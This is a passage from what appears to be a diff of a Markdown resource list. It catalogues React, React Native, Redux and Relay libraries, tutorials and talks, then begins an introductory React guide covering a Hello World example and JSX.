-- [react-dates](https://github.com/airbnb/react-dates ) - An easily internationalizable, mobile-friendly datepicker library for the web
-- [react-big-calendar](https://github.com/intljusticemission/react-big-calendar ) - Calendar component
-- [react-datepicker](https://github.com/Hacker0x01/react-datepicker/ ) - ReactJS Datepicker
-- [react-list](https://github.com/orgsync/react-list ) - A versatile infinite scroll React component
-- [react-intl](https://github.com/yahoo/react-intl ) - Internationalize React apps
-- [react-i18next](https://github.com/i18next/react-i18next ) - Internationalization for React done right
-- [react-aria-modal](https://github.com/davidtheclark/react-aria-modal ) - A fully accessible React modal
-- [react-hotkeys](https://github.com/greena13/react-hotkeys ) - Declarative hotkey and focus area management for React
-- [react-keydown](https://github.com/glortho/react-keydown ) - Lightweight keydown wrapper for React components
-- [react-joyride](https://github.com/gilbarbara/react-joyride ) - Create guided tours for your apps
-- [react-virtualized](https://github.com/bvaughn/react-virtualized ) - React components for efficiently rendering large lists and tabular data
-- [react-window](https://github.com/bvaughn/react-window ) - React components for efficiently rendering large lists and tabular data
-- [react-text-mask](https://github.com/text-mask/text-mask ) - Input mask for React
-- [react-loading-skeleton](https://github.com/dvtng/react-loading-skeleton ) - Create skeleton screens that automatically adapt to your app
-- [react-spinkit](https://github.com/KyleAMathews/react-spinkit ) - A collection of loading indicators animated with CSS for React
-- [rheostat](https://github.com/airbnb/rheostat ) - Accessible slider component built with React
-- [qrcode.react](https://github.com/zpao/qrcode.react ) - QR component for use with React
-- [react-archer](https://github.com/pierpo/react-archer ) - Draw arrows between React elements
-- [react-pdf-viewer](https://github.com/phuoc-ng/react-pdf-viewer ) - A PDF viewer made for React
-- [react-parallax-tilt](https://github.com/mkosir/react-parallax-tilt ) - Easily apply tilt hover effect on React components
-- [react-popper](https://github.com/popperjs/react-popper ) - Position tooltips and popovers in an elegant, performant manner
-- [react-tsparticles](https://github.com/matteobruni/tsparticles ) - Easily create highly customizable particles animations
-- [react-spring](https://github.com/pmndrs/react-spring ) - Spring-physics based animation library for React applications
-- [framer-motion](https://github.com/framer/motion ) - A React library to power production-ready animations
-- [react-accessible-accordion](https://github.com/springload/react-accessible-accordion ) - React Component for creating an 'Accordion' that adheres to the WAI ARIA spec for accessibility.
-- [react-truncate-markup](https://github.com/parsable/react-truncate-markup ) - React component for truncating JSX markup.
-- [react-cookie](https://github.com/reactivestack/cookies ) - Universal cookies for React
-- [react-slick](https://github.com/akiran/react-slick ) - Carousel component built with React
-- [react-gtm-module](https://github.com/alinemorelli/react-gtm ) - Google Tag Manager Module for React
-- [react-device-detect](https://github.com/duskload/react-device-detect ) - Detect device for React
-- [react-colorful](https://github.com/omgovich/react-colorful ) - A tiny (2,5 KB), dependency-free, fast and accessible color picker component
-- [react-modal](https://github.com/reactjs/react-modal ) - Accessible modal dialog component for React
-- [cleave.js](https://github.com/nosir/cleave.js ) - Format input text content when you are typing
-- [react-fontawesome](https://github.com/FortAwesome/react-fontawesome ) - Font Awesome 5 React component
-  
-#### **React Testing**
-  
-- [jest](https://github.com/facebook/jest ) - Delightful JavaScript Testing Framework
-- [enzyme](https://github.com/airbnb/enzyme ) - JavaScript Testing utilities for React
-- [react-testing-library](https://github.com/testing-library/react-testing-library ) - Simple and complete React DOM testing utilities
-- [react-hooks-testing-library](https://github.com/mpeyper/react-hooks-testing-library ) - React hooks testing utilities that encourage good testing practices
-- [majestic](https://github.com/Raathigesh/majestic ) - Zero config GUI for Jest
-  
-#### **React Libraries**
-  
-- [react-border-wrapper](https://github.com/Metroxe/react-border-wrapper ) - A wrapper for placing elements along div borders in React.
-- [react-magic](https://github.com/reactjs/react-magic ) - Automatically AJAXify plain HTML with the power of React
-- [react-toolbox](https://github.com/react-toolbox/react-toolbox ) - A set of React components implementing Google's Material Design specification
-- [tcomb-react](https://github.com/gcanti/tcomb-react ) - Library allowing you to check all the props of your React components
-- [react-responsive](https://github.com/wearefractal/react-responsive ) - Media queries in react for responsive design
-- [preact](https://git.io/preact ) - Fast 3kb React alternative with the same ES6 API.
-- [riotjs](https://github.com/muut/riotjs ) - A React-like, 3.5KB user interface library
-- [Maple.js](https://github.com/Wildhoney/Maple.js ) - Bringing the concept of web-components to React
-- [react-i13n](https://github.com/yahoo/react-i13n ) - A performant, scalable and pluggable approach to instrumenting your React application
-- [react-icons](https://github.com/gorangajic/react-icons ) - svg react icons of popular icon packs
-- [react-open-doodles](https://github.com/lunahq/react-open-doodles ) - Awesome free illustrations as react components.
-- [Keo](https://github.com/Wildhoney/Keo ) - Plain functions for a more functional Deku approach to creating React components, with functional goodies such as pipe, memoize, etc...
-- [Bit](https://github.com/teambit/bit ) - A virtual repository for managing and using react and other web components across applications
-- [AtlasKit](https://atlaskit.atlassian.com ) - Atlassian's React UI library
-- [ReactiveSearch](https://github.com/appbaseio/reactivesearch ) - UI components library for Elasticsearch
-- [Slate](https://github.com/ianstormtaylor/slate ) - A completely customizable framework for building rich text editors.
-- [react-json-schema](https://github.com/TechniqueSoftware/react-json-schema ) - Construct React elements from JSON by mapping JSON definitions to React components that you expose.
-- [react-lodash](https://github.com/typicode/react-lodash ) - Lodash as React components
-- [react-helmet](https://github.com/nfl/react-helmet ) - A document head manager for React
-- [react-snap](https://github.com/stereobooster/react-snap ) - Zero-configuration framework-agnostic static prerendering for SPAs
-- [Draft.js](https://github.com/facebook/draft-js ) - A React framework for building text editors
-- [refract](https://github.com/fanduel-oss/refract ) - Harness the power of reactive programming to supercharge your components
-- [react-desktop](https://github.com/gabrielbull/react-desktop ) - OS X and Windows UI components built with React
-- [reapop](https://github.com/LouisBarranqueiro/reapop ) - A simple and customizable React notifications system
-- [react-extras](https://github.com/sindresorhus/react-extras ) - Useful components and utilities for working with React
-- [react-instantsearch](https://github.com/algolia/react-instantsearch ) - Lightning-fast search for React and React Native applications, by Algolia
-- [uppy](https://github.com/transloadit/uppy ) - The next open source file uploader for web browsers
-- [react-motion](https://github.com/chenglou/react-motion ) - A spring that solves your animation problems
-- [react-esi](https://github.com/dunglas/react-esi ) - React Edge Side Includes
-- [react-aria](https://react-spectrum.adobe.com/react-aria/index.html ) - Adobe's library of React Hooks that provides accessible UI primitives for your design system
-- [react-uploady](https://github.com/rpldy/react-uploady ) - Modern file-upload components & hooks for React.
-  
-#### **React Integration**
-  
-- [ReasonReact](https://reasonml.github.io/reason-react/ )
-- [React Rails](https://github.com/reactjs/react-rails )
-- [ReactJS.NET](https://github.com/reactjs/React.NET )
-- [om](https://github.com/swannodette/om ) - ClojureScript interface
-- [Reagent](https://github.com/reagent-project/reagent ) - A minimalistic ClojureScript interface to React.js
-- [Express React views](https://github.com/reactjs/express-react-views )
-- [React Page Middleware](https://github.com/reactjs/react-page-middleware )
-- [ngReact](https://github.com/davidchang/ngReact ) - React Components in Angular
-- [coffee-react-transform](https://github.com/jsdf/coffee-react-transform ) - Provides React JSX support for Coffeescript
-- [sprockets-coffee-react](https://github.com/jsdf/sprockets-coffee-react ) - Sprockets preprocessor for CJSX
-- [react-kup](https://github.com/snd/react-kup ) - A simple, non-intrusive alternative to jsx for coffeescript
-- [turbo-react](https://github.com/ssorallen/turbo-react ) - Combine Turbolinks and React to apply DOM diffs
-- [react-bacon](https://github.com/jamesmacaulay/react-bacon ) - A little module for using React with Bacon.js
-- [msx](https://github.com/insin/msx ) - React's JSX Transformer, tweaked to output calls to Mithril
-- [react-backbone](https://github.com/jhudson8/react-backbone ) - Backbone-aware mixins for react
-- [NestedReact](https://github.com/Volicon/NestedReact/ ) - transparent integration with Backbone Views and NestedTypes models
-- [backbone-reaction](https://github.com/jhudson8/backbone-reaction ) - React, Backbone and then some
-- [react.backbone](https://github.com/usepropeller/react.backbone ) - Plugin for React to make Backbone migration easier
-- [reactbone](https://github.com/andrejewski/reactbone ) - React extensions for Backbone
-- [backbone-react-ui](https://github.com/securingsincity/backbone-react-ui ) - React components for use with backbone and backbone paginator
-- [react-events](https://github.com/jhudson8/react-events ) - Declarative managed event bindings for react components
-- [react-mixin-manager](https://github.com/jhudson8/react-mixin-manager ) - React mixin registration manager
-- [react-topcoat by @plaxdan](https://github.com/plaxdan/react-topcoat ) - Topcoat CSS components built with the React library
-- [react-topcoat by @arnemart](https://github.com/arnemart/react-topcoat ) - A collection of React components for Topcoat
-- [reactdown](https://github.com/andreypopp/reactdown ) - Write React components using markdown syntax
-- [react-jade](https://github.com/ForbesLindesay/react-jade ) - Compile Jade to React JavaScript
-- [jade-react](https://github.com/duncanbeevers/jade-react ) - Compile Jade templates to React.DOM expressions
-- [gulp-jade-react](https://github.com/duncanbeevers/gulp-jade-react ) - Compile Jade templates into React de-sugared JSX with Gulp
-- [sbt-reactjs](https://github.com/ddispaltro/sbt-reactjs ) - React SBT Plugin using npm
-- [scalajs-react](https://github.com/japgolly/scalajs-react ) - A guilty affair between Scala.js and Facebook's React
-- [react-xtags](https://github.com/vjeux/react-xtags/ ) - Using React to implement xtags
-- [jreact](https://github.com/KnisterPeter/jreact ) - React on server-side Java (with Rhino or Nashorn)
-- [React.hiccup](https://github.com/lantiga/react.hiccup ) - A complete replacement for JSX written in sweet.js
-- [react-play](https://github.com/ssorallen/react-play ) - Rendering React components in the Play Framework with JDK8's Nashorn
-- [rx-react](https://github.com/fdecampredon/rx-react ) - Utilities to works with React in a RxJS
-- [react-with-di](https://github.com/vojtajina/react-with-di ) - A hacked prototype of React.js with DI
-- [reactfire](https://github.com/firebase/reactfire ) - ReactJS mixin for easy Firebase integration
-- [react-clickdrag-mixin](https://github.com/tleunen/react-clickdrag-mixin ) - ClickDrag mixin for React component
-- [react-masonry-mixin](https://github.com/eiriklv/react-masonry-mixin ) - Standalone mixin for Masonry (@desandro)
-- [react-packery-mixin](https://github.com/eiriklv/react-packery-mixin ) - Standalone mixin for Packery (Metafizzy)
-- [react-dropzone](https://github.com/paramaggarwal/react-dropzone ) - Simple HTML5 drag-drop zone with React.js.
-- [aframe-react](https://github.com/ngokevin/aframe ) - A-Frame VR + React
-- [react-three-fiber](https://github.com/react-spring/react-three-fiber ) - A react reconciler for threejs (web and react-native)
-- [react-three](https://github.com/Izzimach/react-three ) - React bindings to create and control a 3D scene using three.js
-- [react-three-renderer](https://github.com/toxicFork/react-three-renderer ) - Render into a three.js canvas using React
-- [react-threejs](https://github.com/fritx/react-threejs ) - Simplest bindings between React & Three.js
-- [react-masonry-css](https://github.com/paulcollett/react-masonry-css ) - Fast Masonry layout powered by CSS, dependency free
-- [react-captcha](https://github.com/appleboy/react-recaptcha ) - A react.js reCAPTCHA for Google
-- [reaptcha](https://github.com/sarneeh/reaptcha ) - Clean, modern and simple React wrapper for Google reCAPTCHA
-- [react-recaptcha-that-works](https://github.com/douglasjunior/react-recaptcha-that-works ) - A reCAPTCHA bridge for React that works
-  
-#### **React State Management**
-  
-- redux - Predictable State Container for JavaScript Apps
-  
-* [mobx](https://github.com/mobxjs/mobx ) - Simple, scalable state management
-* [react-query](https://github.com/tannerlinsley/react-query )
-* [flux](http://facebook.github.io/flux/ ) - Application architecture for building user interfaces
-* [recoil](https://github.com/facebookexperimental/Recoil ) - Experimental state management library for React apps
-* [xstate-react](https://github.com/davidkpiano/xstate/tree/master/packages/xstate-react ) - State machines and statecharts for the modern web
-* [zustand](https://github.com/pmndrs/zustand ) - Bear necessities for state management in React
-* [easy-peasy](https://github.com/ctrlplusb/easy-peasy ) - Vegetarian friendly state for React
-* [hookstate](https://github.com/avkonst/hookstate ) - The simple but very powerful and incredibly fast state management for React that is based on hooks
-* [effector](https://github.com/zerobias/effector ) - Fast and powerful reactive state manager
-* [reactn](https://github.com/CharlesStover/reactn ) - React, but with built-in global state management
-  
-#### **React AR and VR**
-  
-- [Viro React](https://viromedia.com/viroreact/ ) - Platform for rapidly building AR/VR applications using React Native
-  
-#### **React Renderers**
-  
-- [react-three-fiber](https://github.com/pmndrs/react-three-fiber ) - A React renderer for Three.js
-- [react-pdf](https://github.com/diegomura/react-pdf ) - Create PDF files using React
-- [ink](https://github.com/vadimdemedes/ink ) - React for interactive command-line apps
-- [react-blessed](https://github.com/Yomguithereal/react-blessed ) - A React renderer for blessed terminal interface library
-- [react-sketchapp](https://github.com/airbnb/react-sketchapp ) - Render React components to Sketch
-- [react-figma](https://github.com/react-figma/react-figma ) - A React renderer for Figma
-- [react-nil](https://github.com/pmndrs/react-nil ) - A react null renderer
-- [remotion](https://github.com/JonnyBurger/remotion ) - Create videos programmatically in React
-  
-#### **React Forms**
-  
-- [formik](https://github.com/jaredpalmer/formik ) - Build forms in React, without the tears
-- [react-hook-form](https://github.com/react-hook-form/react-hook-form ) - React Hooks for forms validation
-- [react-jsonschema-form](https://github.com/mozilla-services/react-jsonschema-form ) - A React component for building Web forms from JSON Schema
-- [react-final-form](https://github.com/final-form/react-final-form ) - High performance subscription-based form state management for React
-- [unform](https://github.com/Rocketseat/unform ) - Performance-focused API for React forms
-- [formily](https://github.com/alibaba/formily ) - Alibaba Group Unified Form Solution
-- [uniforms](https://github.com/vazco/uniforms ) - A React library for building forms from any schema
-- [formsy-react](https://github.com/formsy/formsy-react/ ) - A form input builder and validator for React
-- [react-formal](https://github.com/jquense/react-formal ) - Sophisticated HTML form management for React
-  
-#### **React Autocomplete**
-  
-- [react-autocomplete by @rackt](https://github.com/rackt/react-autocomplete ) - WAI-ARIA compliant React autocomplete (Archived, read-only)
-- [react-autosuggest by @moroshko](https://github.com/moroshko/react-autosuggest ) - WAI-ARIA compliant React autosuggest component
-- [react-autocomplete by @eliseumds](https://github.com/eliseumds/react-autocomplete ) - Just tasting some ReactJS + RxJS
-- [react-autocomplete by @prometheusresearch](https://github.com/prometheusresearch/react-autocomplete ) - Autocomplete widget based on React
-- [instatype by @gragland](https://github.com/gragland/instatype ) - Simple react autocomplete component
-- [downshift](https://github.com/paypal/downshift ) - 🏎 Primitives to build simple, flexible, WAI-ARIA compliant enhanced input React components
-- [React Bootstrap Typeahead](https://github.com/ericgio/react-bootstrap-typeahead ) - A React-based typeahead that relies on Bootstrap for styling and was originally inspired by Twitter's typeahead.js.
-  
-#### **React Graphics**
-  
-- [react-art](https://github.com/facebook/react-art ) - React Bridge to the ART Drawing Library
-- [react-canvas](https://github.com/Flipboard/react-canvas ) - High performance `<canvas>` rendering for React components
-- [react-famous](https://github.com/pilwon/react-famous ) - Complex 3D animations UI at 60 FPS with Famo.us
-- [react-kinetic](https://github.com/freiksenet/react-kinetic ) - HTML5 Canvas via KineticJS using React
-- [react-svg-morph](https://github.com/gorangajic/react-svg-morph ) - morph your svg components one into another
-- [react-hooks-svgdrawing](https://github.com/kmkzt/react-hooks-svgdrawing ) - SVG Drawing with React hooks
-- [react-svg-pan-zoom](https://github.com/chrvadala/react-svg-pan-zoom ) - A React component that adds pan and zoom features to SVG.
-  
-#### **React Data Managing**
-  
-- [immer](https://github.com/immerjs/immer ) - Create the next immutable state by mutating the current one
-- [ReSub](https://github.com/Microsoft/ReSub ) - A library for writing better React components and data stores
-- [immutable-js](https://github.com/immutable-js/immutable-js ) - Immutable Data Collections for Javascript
-- [baobab](https://github.com/Yomguithereal/baobab ) - JavaScript & TypeScript persistent and optionally immutable data tree with cursors
-- [WatermelonDB](https://github.com/Nozbe/WatermelonDB ) - 🍉 Reactive & asynchronous database for powerful React and React Native apps ⚡️
-- [RxDB](https://github.com/pubkey/rxdb ) - A realtime Database for JavaScript Applications
-  
-#### **React Maps**
-  
-- [react-googlemaps](https://github.com/pieterv/react-googlemaps ) - React interface to Google maps
-- [react-maps](https://github.com/matnel/react-maps ) - A map component for React
-- [react-google-maps](https://github.com/tomchentw/react-google-maps ) - React.js Google Maps integration component
-- [react-gmaps](https://github.com/MicheleBertoli/react-gmaps ) - A Google Maps component for React.js
-- [react-map-gl](https://github.com/uber/react-map-gl ) - A React wrapper for MapboxGL-js plus overlay API
-- [google-map-react](https://github.com/istarkov/google-map-react ) - Isomorphic google map React component
-- [react-mapbox-gl](https://github.com/alex3165/react-mapbox-gl ) - A mapbox-gl-js wrapper to make the API react friendly
-- [google-maps-react](https://github.com/fullstackreact/google-maps-react ) - A declarative Google Map React component using React, lazy-loading dependencies, current-location finder and a test-driven approach by the Fullstack React team.
-- [react-leaflet](https://react-leaflet.js.org ) - React components for Leaflet maps
-- [react-geo](https://github.com/terrestris/react-geo ) - A set of geo-related components using react, antd, and ol
-- [pigeon-maps](https://github.com/mariusandra/pigeon-maps ) - ReactJS maps without external dependencies
-  
-#### **React Charts**
-  
-- [vx](https://github.com/airbnb/visx ) - Visualization components
-- [victory](https://github.com/FormidableLabs/victory ) - A collection of composable React components for building interactive data visualizations
-- [react-vis](https://github.com/uber/react-vis ) - Data Visualization Components
-- [recharts](https://github.com/recharts/recharts ) - Redefined chart library built with React and D3
-- [nivo](https://github.com/plouc/nivo ) - Provides a rich set of data visualization components, built on top of the D3 and React libraries
-- [echarts-for-react](https://github.com/hustcc/echarts-for-react ) - Apache ECharts components for React wrapper
-- [react-apexcharts](https://github.com/apexcharts/react-apexcharts ) - React Component for ApexCharts
-- [chartify](https://github.com/kis/chartify ) - React plugin for building charts using CSS
-  
-### React Native
-  
-Framework for building native apps using React
-  
-#### **React Native General Resources**
-  
-- [React Native Official Site](https://facebook.github.io/react-native/ )
-- [React Native GitHub](https://github.com/facebook/react-native )
-- [React Native Newsletter](http://brentvatne.ca/react-native-newsletter/ )
-- [React Native Playground](https://rnplay.org )
-- [React Native Awesome List](https://github.com/jondot/awesome-react-native )
-- [React Native StackOverflow](http://stackoverflow.com/questions/tagged/react-native )
-- [React Native Radio](https://devchat.tv/react-native-radio/ )
-  
-#### **React Native Tutorials**
-  
-- [React Native Tutorial](https://facebook.github.io/react-native/docs/tutorial.html )
-- [Introducing React Native: Building Apps with JavaScript](http://www.raywenderlich.com/99473/introducing-react-native-building-apps-javascript )
-- [Introduction to React Native: Building iOS Apps with JavaScript](http://www.appcoda.com/react-native-introduction/ )
-- [React Native Meets Async Functions](https://medium.com/the-exponent-log/react-native-meets-async-functions-3e6f81111173 )
-- [Digital Smart Mirror lab with React Native](http://atticuswhite.com/blog/react-native-smart-mirror-lab/ )
-- [The Beauty Of React Native: Building Your First iOS App With JavaScript (Part 1)](https://www.smashingmagazine.com/2016/04/the-beauty-of-react-native-building-your-first-ios-app-with-javascript-part-1/ )
-- [The Beauty Of React Native: Building Your First iOS App With JavaScript (Part 2)](https://www.smashingmagazine.com/2016/04/how-to-build-your-first-ios-app-with-javascript/ )
-- [A Mini-Course on React Native Flexbox](https://medium.com/@yoniweisbrod/a-mini-course-on-react-native-flexbox-2832a1ccc6 )
-- [A Complete Guide to Flexbox)\*\*](https://css-tricks.com/snippets/css/a-guide-to-flexbox/ )
-- [Test driving react native applications](http://www.multunus.com/blog/2016/07/test-driving-react-native-applications/ )
-- [Using React Native With TypeScript](https://medium.com/@jan.hesters/using-typescript-with-react-native-946aa4b4ae6f )
-  
-#### **React Native Development Tools**
-  
-- [react-native-code-push](https://github.com/microsoft/react-native-code-push ) - React Native module for CodePush
-  
-#### **React Native Sample Apps**
-  
-- [HackerNews](https://github.com/iSimar/HackerNews-React-Native )
-- [Ziliun](https://github.com/sonnylazuardi/ziliun-react-native )
-- [FinanceReactNative](https://github.com/7kfpun/FinanceReactNative )
-- [SplashWalls](https://github.com/nashvail/SplashWalls )
-- [NBAreact](https://github.com/jbkuczma/NBAreact )
-- [Bus Timetable](https://github.com/EarlGeorge/timetable )
-  
-#### **React Native Boilerplates**
-  
-- [Create React Native App](https://github.com/react-community/create-react-native-app ) - Create React Native apps that run on iOS, Android, and web
-- [Ignite](https://github.com/infinitered/ignite ) - The hottest CLI for React Native, boilerplates, plugins, generators, and more!
-  
-#### **React Native Awesome Components**
-  
-- [Expo](https://expo.io ) - The Expo platform for making cross-platform mobile apps
-- [react-navigation](https://reactnavigation.org ) - Routing and navigation for your React Native apps
-- [react-native-social-share](https://github.com/doefler/react-native-social-share ) - Use the iOS and Android native Twitter and Facebook share popup with React Native
-- [react-native-fbsdk](https://github.com/facebook/react-native-fbsdk ) - A wrapper around the iOS Facebook SDK
-- [react-native-side-menu](https://github.com/Kureev/react-native-side-menu ) - Simple customizable component to create side menu
-- [react-native-mapbox-gl](https://github.com/mapbox/react-native-mapbox-gl ) - A Mapbox GL react native module
-- [react-native-icons](https://github.com/corymsmith/react-native-icons ) - Quick and easy icons in React Native
-- [react-native-vector-icons](https://github.com/oblador/react-native-vector-icons ) - 3000 Customizable Icons for React Native with support for NavBar/TabBar
-- [react-native-google-signin](https://github.com/apptailor/react-native-google-signin ) - Google Signin for React Native
-- [react-native-picker-modal-view](https://github.com/pankod/react-native-picker-modal-view )
-- [react-native-gifted-chat](https://github.com/FaridSafi/react-native-gifted-chat ) - The most complete chat UI for React Native
-- [react-native-fast-image](https://github.com/DylanVann/react-native-fast-image ) - FastImage, performant React Native image component
-- [recyclerlistview](https://github.com/Flipkart/recyclerlistview ) - High performance listview for React Native and web!
-- [react-native-largelist](https://github.com/bolan9999/react-native-largelist ) - The best large list component for React Native
-- [react-native-gesture-handler](https://github.com/software-mansion/react-native-gesture-handler ) - Declarative API exposing platform native touch and gesture system to React Native
-- [rn-placeholder](https://github.com/mfrachet/rn-placeholder ) - Display some placeholder stuff before rendering your text or media content in React Native
-  
-#### **React Native Libraries**
-  
-- [sentry-react-native](https://github.com/getsentry/sentry-react-native ) - Real-time crash reporting for your web apps, mobile apps, and games.
-- [realm-js](https://github.com/realm/realm-js ) - Realm is a mobile database: an alternative to SQLite & key-value stores
-- [react-native-device-info](https://github.com/react-native-community/react-native-device-info ) - Device Information for React Native iOS and Android
-- [react-native-react-bridge](https://github.com/inokawa/react-native-react-bridge ) - A toolset to run React web app in React Native and handle communication between them.
-- [uncompress-react-native](https://github.com/didisouzacosta/uncompress-react-native ) - Simple library to decompress files .zip, .rar, .cbz, .cbr in React Native.
-  
-### Redux
-  
-Predictable State Container for JavaScript Apps
-**Redux General Resources**
-  
-- [Redux GitHub](https://github.com/reduxjs/redux )
-- [Redux Official Site](http://redux.js.org )
-- [Awesome Redux List](https://github.com/xgrommx/awesome-redux )
-  
-#### **Redux Tools**
-  
-- [react-redux](https://github.com/reduxjs/react-redux ) - Official React bindings for Redux
-- [redux-toolkit](https://github.com/reduxjs/redux-toolkit ) - The official, opinionated, batteries-included toolset for efficient Redux development
-- [redux-devtools](https://github.com/reduxjs/redux-devtools ) - DevTools for Redux with hot reloading, action replay, and customizable UI
-- [reselect](https://github.com/reduxjs/reselect ) - Selector library for Redux
-- [redux-thunk](https://github.com/reduxjs/redux-thunk ) - Thunk middleware for redux
-- [redux-saga](https://github.com/redux-saga/redux-saga ) - An alternative side effect model for Redux apps
-- [connected-react-router](https://github.com/supasate/connected-react-router ) - A Redux binding for React Router
-- [redux-form](https://github.com/erikras/redux-form ) - A Higher Order Component using react-redux to keep form state
-- [normalizr](https://github.com/paularmstrong/normalizr ) - Normalizes nested JSON according to a schema
-- [redux-observable](https://github.com/redux-observable/redux-observable ) - RxJS middleware for Redux
-- [redux-undo](https://github.com/omnidan/redux-undo ) - Higher order reducer to add undo/redo functionality to redux state containers
-- [redux-persist](https://github.com/rt2zz/redux-persist ) - Persist and rehydrate a redux store
-  
-#### **Redux Tutorials**
-  
-- [Redux Essentials](https://redux.js.org/tutorials/essentials/part-1-overview-concepts )
-- [Redux Fundamentals](https://redux.js.org/tutorials/fundamentals/part-1-overview )
-- [Fundamentals of Redux Course from Dan Abramov](https://app.egghead.io/playlists/fundamentals-of-redux-course-from-dan-abramov-bd5cc867 )
-- [Building React Applications with Idiomatic Redux](https://app.egghead.io/courses/building-react-applications-with-idiomatic-redux )
-  
-## Data-Driven React Applications
-  
-**Relay General Resources**
-  
-- [Relay Offical Site](https://relay.dev )
-- [Relay GitHub](https://github.com/facebook/relay )
-  **Relay Tutorials**
-- [Official Relay Getting Started](https://facebook.github.io/relay/docs/en/introduction-to-relay.html )
-- [Relay for Visual Learners](http://sgwilym.github.io/relay-visual-learners/ )
-- [Getting Started with Relay](https://auth0.com/blog/2015/10/06/getting-started-with-relay/ )
-- [Relay and Routing](https://medium.com/@cpojer/relay-and-routing-36b5439bad9 )
-  **Relay Tools**
-- [graphql-relay-js](https://github.com/graphql/graphql-relay-js ) - A library to help construct a graphql-js server supporting react-relay
-- [react-router-relay](https://github.com/relay-tools/react-router-relay ) - Relay integration for React Router
-- [relay-local-schema](https://github.com/relay-tools/relay-local-schema ) - Use Relay without a GraphQL server
-- [relay-codemod](https://github.com/facebook/jscodeshift ) - Codemod scripts based for on jsodeshift to update Relay APIs
-  
-### Videos
-  
-#### **Reactjsvideos.com**
-  
-**Important Talks**
-  
-- [Pete Hunt: React: Rethinking best practices - JSConf EU 2013](https://www.youtube.com/watch?v=x7cQ3mrcKaY )
-- [Pete Hunt: React: Rethinking Best Practices (updated) - JSConf.Asia 2013](https://www.youtube.com/watch?v=DgVS-zXgMTk )
-- [Tom Occhino and Jordan Walke: JS Apps at Facebook - JSConfUS 2013](https://www.youtube.com/watch?v=GW0rj4sNH2w )
-- [React: CSS in JS](http://blog.vjeux.com/2014/javascript/react-css-in-js-nationjs.html )
-- [Pete Hunt: Be Predictable, Not Correct - Mountain West JavaScript 2014](https://www.youtube.com/watch?v=h3KksH8gfcQ )
-- [Hacker Way: Rethinking Web App Development at Facebook](https://www.youtube.com/watch?v=nYkdrAPrdcw )
-- [Christopher Chedeau: Why does React Scale? - JSConf2014](https://www.youtube.com/watch?v=D-ioDiacTm8 )
-- [Christopher Chedeau: React's Architecture - OSCON 2014](https://www.youtube.com/watch?v=eCf5CquV_Bw )
-- [Pete Hunt: React RESTful UI Rendering - Strange Loop 2014](https://www.youtube.com/watch?v=IVvHPPcl2TM )
-- [Pete Hunt: How Instagram.com Works - OSCON 2014](https://www.youtube.com/watch?v=VkTCL6Nqm6Y )
-- [Bill Fisher and Jing Chen: React and Flux - NewCircle Training 2014](https://www.youtube.com/watch?v=i__969noyAM )
-- [Sebastian Markbage: Minimal API Surface Area - JSConf EU 2014](https://www.youtube.com/watch?v=4anAwXYqLG8 )
-- [Avik Chaudhuri: JavaScript Testing and Static Type Systems at Scale - Scale 2014](https://www.youtube.com/watch?v=M8x0bc81smU )
-- [React Native & Relay: Bringing Modern Web Techniques to Mobile - f8 2015)](https://www.youtube.com/watch?v=X6YbAKiLCLU )
-- [Citrusbyte Presents GraphQL: A Horizontal Platform with Nick Schrock](https://www.youtube.com/watch?v=LQFQl8EsV3k )
-- [Laney Kuenzel: Mutations and Subscriptions in Relay - JSConf 2015](https://www.youtube.com/watch?v=mmke4w4gc6c )
-- [React Today and Tomorrow and 90% Cleaner React With Hooks - React Conf 2018](https://www.youtube.com/watch?v=dpw9EHDh2bM )
-- [React Conferences](https://reactjs.org/community/conferences.html )
-- [React Videos](https://reactjs.org/community/videos.html )
-- [Awesome React Talks](https://github.com/tiaanduplessis/awesome-react-talks )
-  
-- [Trying React Hooks for the first time with Dan Abramov](https://www.youtube.com/watch?v=G-aO5hzo1aw )
-  
-### Demo React Apps
-  
-- [hackernews-react-graphql](https://github.com/clintonwoo/hackernews-react-graphql ) - Hacker News clone rewritten with universal JavaScript, using React and GraphQL
-- [react-reduction](https://github.com/reduction-admin/react-reduction ) - Free Admin Template Built with React and Bootstrap4
-- [reactjs-tmdb-app](https://github.com/SKempin/reactjs-tmdb-app ) - Responsive React The Movie Database App
-- [react-shopping-cart](https://github.com/jeffersonRibeiro/react-shopping-cart ) - Simple ecommerce cart application built with React Redux
-  
----
-  
-### Real React Apps
-  
-- [kibana](https://github.com/elastic/kibana ) - Your window into the Elastic Stack
-- [firefox debugger](https://github.com/firefox-devtools/debugger ) - The Firefox debugger that works anywhere
-- [spectrum](https://github.com/withspectrum/spectrum ) Simple, powerful online communities
-- [mattermost](https://github.com/mattermost/mattermost-webapp ) - Open source Slack alternative
-- [overreacted](https://github.com/gaearon/overreacted.io ) - Personal blog by Dan Abramov
-- [winamp2-js](https://github.com/captbaritone/winamp2-js ) - Winamp 2 reimplemented for the browser
-- [dnote](https://github.com/dnote/dnote ) - A command line notebook with multi-device sync and web interface
-  
-</details>
-  
----
-  
-##  **Hello World**
-  
-  
-##  The smallest React example looks like this:
-  
-  
-```js
-ReactDOM.render(<h1>Hello, world!</h1>, document.getElementById("root"));
-```
-  
-It displays a heading saying "Hello, world!" on the page.
-  
-<iframe frameborder="0" width="100%" height="800px" src="https://reactjs.org/redirect-to-codepen/hello-world"></iframe>
-  
-{% embed url="https://codepen.io/bgoonz/pen/wveBJBM" %}
-  
-##  <iframe frameborder="0" width="100%" height="800px" src="https://codepen.io/bgoonz/pen/wveBJBM"></iframe>
-  
-  
----
-  
-###  **Introducing JSX**
-  
-  
----
-  
-###  Consider this variable declaration:
-  
-  
-```js
-const element = <h1>Hello, world!</h1>;
-```
-  
-- This funny tag syntax is neither a string nor HTML.
-  
-It is called JSX, and it is a syntax extension to JavaScript. We recommend using it with React to describe what the UI should look like. JSX may remind you of a template language, but it comes with the full power of JavaScript.
-  
-JSX produces React "elements". We will explore rendering them to the DOM in the [next section](https://reactjs.org/docs/rendering-elements.html ). Below, you can find the basics of JSX necessary to get you started.
-  
----
-  
----
-  
-###  Why JSX?
-  
-  
-React embraces the fact that rendering logic is inherently coupled with other UI logic: how events are handled, how the state changes over time, and how the data is prepared for display.
-  
-Instead of artificially separating _technologies_ by putting markup and logic in separate files, React [separates _concerns_](https://en.wikipedia.org/wiki/Separation_of_concerns ) with loosely coupled units called "components" that contain both. We will come back to components in a [further section](https://reactjs.org/docs/components-and-props.html ), but if you're not yet comfortable putting markup in JS, [this talk](https://www.youtube.com/watch?v=x7cQ3mrcKaY ) might convince you otherwise.
-  
